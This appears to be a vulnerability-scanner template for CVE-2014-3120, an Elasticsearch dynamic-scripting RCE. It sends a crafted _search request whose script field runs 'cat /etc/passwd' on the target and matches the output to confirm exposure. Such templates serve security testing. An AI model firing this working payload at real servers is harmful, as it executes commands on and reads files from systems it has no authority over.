58 lines
1.7 KiB
YAML
58 lines
1.7 KiB
YAML
id: CVE-2014-3120
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info:
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name: ElasticSearch v1.1.1/1.2 RCE
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author: pikpikcu
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severity: critical
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description: |
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The default configuration in Elasticsearch before 1.2 enables dynamic scripting, which allows remote attackers to execute arbitrary MVEL expressions and Java code via the source parameter to _search. NOTE: this only violates the vendor's intended security policy if the user does not run Elasticsearch in its own independent virtual machine.
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reference: |
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- https://github.com/vulhub/vulhub/tree/master/elasticsearch/CVE-2014-3120
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- https://www.elastic.co/blog/logstash-1-4-3-released
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tags: cve,cve2014,elastic,rce
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requests:
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- raw:
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- |
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POST /_search?pretty HTTP/1.1
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Host: {{Hostname}}
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Accept: */*
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Accept-Language: en
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User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
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Connection: close
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Content-Type: application/x-www-form-urlencoded
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Content-Length: 343
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{
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"size": 1,
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"query": {
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"filtered": {
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"query": {
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"match_all": {
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}
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}
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}
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},
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"script_fields": {
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"command": {
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"script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"cat /etc/passwd\").getInputStream()).useDelimiter(\"\\\\A\").next();"
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}
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}
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}
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matchers-condition: and
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matchers:
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- type: word
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words:
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- "application/json"
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part: header
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- type: regex
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regex:
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- "root:.*:0:0"
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part: body
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- type: status
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status:
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- 200
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